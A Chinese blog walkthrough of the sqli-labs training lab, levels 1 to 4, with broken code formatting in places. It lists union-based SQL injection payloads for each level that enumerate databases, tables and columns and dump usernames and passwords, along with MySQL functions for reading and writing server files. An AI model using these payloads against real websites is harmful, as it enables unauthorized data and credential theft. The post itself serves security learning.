加载中...
sqli-labs(1-4)
发表于:2020-12-07 |
字数统计: 1.2k | 阅读时长: 5分钟 | 阅读量:

前言

此关卡的主要思想以及步骤如下:

首先判断注入方式

在这里插入图片描述

less-1

0x01

提示为字符型注入,构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
```../?id=1' and 1=2 ```错误
![在这里插入图片描述](https://img-blog.csdnimg.cn/20201128103812435.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ2MTEwMjI0,size_16,color_FFFFFF,t_70)
>确认存在注入点

#### 0x02
然后进行确认字段数,因为不知道有几个字段,所以进行尝试。构造payload ```../?id=1' order by 1,2,3,4 --+ ```,发现在4时会报错,因此字段有3个。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20201128104116956.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ2MTEwMjI0,size_16,color_FFFFFF,t_70)

**PS:order by是mysql中对查询数据进行排序的方法,当排序所在列不存在时即会报错,因此根据回显可以判断目前有几列**
```bash
select * from user order by id asc; 对id字段进行排序
select * from user order by 1 desc; 对第一列进行排序
asc 升序排列 desc降序排列

0x03

判断回显位置位于哪里,构造payload ../?id=-1' union select 1,2,3--+
因为判断出一共三列,因此判断1,2,3列的回显位置,此处id为-1,因为union联合查询后,不会多行显示,就需要先让前面的语句失效。在这里插入图片描述
ps:此时id=1为正确语句,所以不会回显后边的执行语句。
在这里插入图片描述
ps:此时id=-1为错误判断,因此会回显后边的执行语句,发现回显位置为2和3。

0x04

接下来爆库,构造payload,../?id=-1' union select 1,version(),database()--+
在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
PS:常用sql注入函数
version():mysql版本,user():用户名,database():数据库名,@@datadir:读取数据库路径,@@version_compile_os:操作系统版本
concat(str1,str2,…):没有分割符地连接字符串,显示数据(数据合并)
group_concat(str1,str2,…):连接一个组的所有字符串,并以逗号分割每一条数据,显示数据
into outfile:写文件{select ‘需要写的文件’ into outfile ‘目录下’},select ‘123123’ into outfile ‘d://study/1.txt’;(将123123添加至d盘study中新建1.txt文件中)
group_concat(列名):会把这一列中所有的内容在一行中以,隔开输出
select load_file(读文件路径);
length() =>计算字符串长度
hex() =>字符转换为16进制
@@basedir MYSQL获取安装路径

查看所有数据库,payload../?id=-1' union select 1,group_concat(schema_name) from information_schema.schemata,3 --+在这里插入图片描述在这里插入图片描述

0x05

查询security内的所有表名,构造payload../?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()--+在这里插入图片描述

0x06

查看users里的字段,构造payload../?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users'--+
我们发现了username和password,然后将其进行注入出来
在这里插入图片描述

0x07

查询所有的用户名和密码,构造payload.../?id=-1' union select 1,group_concat(username),group_concat(password) from users --+在这里插入图片描述

PS:GROUP_CONCAT函数返回一个字符串结果,该结果由分组中的值连接组合而成。
CONCAT()函数用于将多个字符串连接成一个字符串。
concat_ws() 将多个字符串连接成一个字符串,可以一次性指定分隔符

less-2

基于报错的数字型GET注入,这个由于是数字型的,所以闭合的时候不用单引号了。
检查是否存在注入,发现存在注入
?id=1=1正确
?id=1=2错误
在这里插入图片描述
整数型注入和字符型注入在于构造的id不同,整数型注入id=-1,下面构造payload

1
2
3
4
5
6
?id=-1 order by 1,2,3,4,5--+ //判断列数
?id=-1 union select 1,2,3--+ //判断回显位置
?id=-1 union select 1,user(),database()--+ //爆库
?id=-1 union select 1,user(),group_concat(table_name) from information_schema.tables where table_schema=database()--+ //爆表名
?id=-1 union select 1,user(),group_concat(column_name) from information_schema.columns where table_name='users'--+ //爆列名
?id=-1 union select 1,group_concat(username),group_concat(password) from users --+ //爆数据

less-3

基于’)的字符型注入,判断是否存在注入

1
2
3
4
5
6
7
8
9
10
11
```id=1') and 1=2```错误
![在这里插入图片描述](https://img-blog.csdnimg.cn/20201128123046820.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ2MTEwMjI0,size_16,color_FFFFFF,t_70)
下面构造payload

```bash
?id=-1') order by 1,2,3,4,5--+ //判断列数
?id=-1') union select 1,2,3--+ //判断回显位置
?id=-1') union select 1,user(),database()--+ //爆库
?id=-1') union select 1,user(),group_concat(table_name) from information_schema.tables where table_schema=database()--+ //爆表名
?id=-1') union select 1,user(),group_concat(column_name) from information_schema.columns where table_name='users'--+ //爆列名
?id=-1') union select 1,group_concat(username),group_concat(password) from users --+ //爆数据

less-4

基于”)字符型注入,判断是否存在注入

1
2
3
4
5
6
7
8
9
10
```id=1”) and 1=2```错误![在这里插入图片描述](https://img-blog.csdnimg.cn/20201128124840306.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ2MTEwMjI0,size_16,color_FFFFFF,t_70)
下面构造payload

```bash
?id=-1") order by 1,2,3,4,5--+ //判断列数
?id=-1") union select 1,2,3--+ //判断回显位置
?id=-1") union select 1,user(),database()--+ //爆库
?id=-1") union select 1,user(),group_concat(table_name) from information_schema.tables where table_schema=database()--+ //爆表名
?id=-1") union select 1,user(),group_concat(column_name) from information_schema.columns where table_name='users'--+ //爆列名
?id=-1") union select 1,group_concat(username),group_concat(password) from users --+ //爆数据
上一篇:
信息泄露查询
下一篇:
sqli-labs(5)
本文目录
本文目录